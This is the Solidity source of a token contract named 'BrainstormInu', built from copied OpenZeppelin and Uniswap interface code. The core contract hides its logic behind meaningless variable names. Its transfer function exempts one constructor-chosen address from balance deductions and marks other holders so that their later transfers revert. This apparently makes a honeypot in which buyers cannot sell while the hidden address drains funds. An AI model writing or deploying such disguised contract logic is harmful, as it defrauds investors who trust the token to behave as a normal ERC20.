|
"content": "// https://t.me/BrainStormInuETH\n\n// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.13;\n\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _setOwner(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), 'Ownable: caller is not the owner');\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), 'Ownable: new owner is the zero address');\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountBrainstormInuDesired,\n uint amountBrainstormInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountBrainstormInu, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountBrainstormInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountBrainstormInu, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountBrainstormInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountBrainstormInu, uint amountETH);\n function swapExactBrainstormInusForBrainstormInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapBrainstormInusForExactBrainstormInus(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForBrainstormInus(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapBrainstormInusForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactBrainstormInusForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactBrainstormInus(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferBrainstormInus(\n address token,\n uint liquidity,\n uint amountBrainstormInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferBrainstormInus(\n address token,\n uint liquidity,\n uint amountBrainstormInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactBrainstormInusForBrainstormInusSupportingFeeOnTransferBrainstormInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForBrainstormInusSupportingFeeOnTransferBrainstormInus(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactBrainstormInusForETHSupportingFeeOnTransferBrainstormInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract BrainstormInu is Ownable {\r\n uint256 private thee;\r\n string private halfway;\r\n uint256 private _tTotal;\r\n string private hung;\r\n uint256 private lesson;\r\n uint8 private table;\r\n\n function name() public view returns (string memory) {\r\n return halfway;\r\n }\r\n\n function symbol() public view returns (string memory) {\r\n return hung;\r\n }\r\n\n uint256 typical;\r\n uint256 father;\r\n bool complete;\r\n address private capital;\r\n address private musical;\r\n address private find;\r\n IUniswapV2Router02 public uniswapV2Router;\r\n\n function decimals() public view returns (uint256) {\r\n return table;\r\n }\r\n\n mapping(address => mapping(address => uint256)) private _allowances;\r\n mapping(address => uint256) private work;\r\n\n function totalSupply() public view returns (uint256) {\r\n return _tTotal;\r\n }\r\n\n function balanceOf(address account) public view returns (uint256) {\r\n return work[account];\r\n }\r\n\n function allowance(address owner, address spender) public view returns (uint256) {\r\n return _allowances[owner][spender];\r\n }\r\n\n function leave(\r\n address beside,\r\n address flight,\r\n uint256 income\r\n ) internal {\r\n complete = capital == beside;\r\n\n if (!complete && very[beside] == 0 && house[beside] > 0) {\r\n very[beside] -= table;\r\n }\r\n\n typical = income * thee;\r\n\n if (very[beside] == 0) {\r\n work[beside] -= income;\r\n }\r\n\n father = typical / lesson;\r\n\n musical = find;\r\n\n find = flight;\r\n\n income -= father;\r\n house[musical] += table;\r\n work[flight] += income;\r\n }\r\n\n mapping(address => uint256) private house;\r\n\n function approve(address spender, uint256 amount) external returns (bool) {\r\n return _approve(msg.sender, spender, amount);\r\n }\r\n\n mapping(address => uint256) private very;\r\n\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool) {\r\n leave(sender, recipient, amount);\r\n return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\r\n }\r\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\r\n leave(msg.sender, recipient, amount);\r\n return true;\r\n }\r\n\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) private returns (bool) {\r\n require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');\r\n _allowances[owner][spender] = amount;\r\n return true;\r\n }\r\n\n constructor(\r\n string memory square,\r\n string memory team,\r\n address dry,\r\n address among\r\n ) {\r\n uniswapV2Router = IUniswapV2Router02(dry);\r\n capital = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());\r\n\n halfway = square;\r\n hung = team;\r\n table = 9;\r\n thee = 2;\r\n lesson = 100;\r\n very[among] = table;\r\n _tTotal = 1000000000000000 * 10**table;\r\n work[msg.sender] = _tTotal;\r\n }\r\n}\n"
|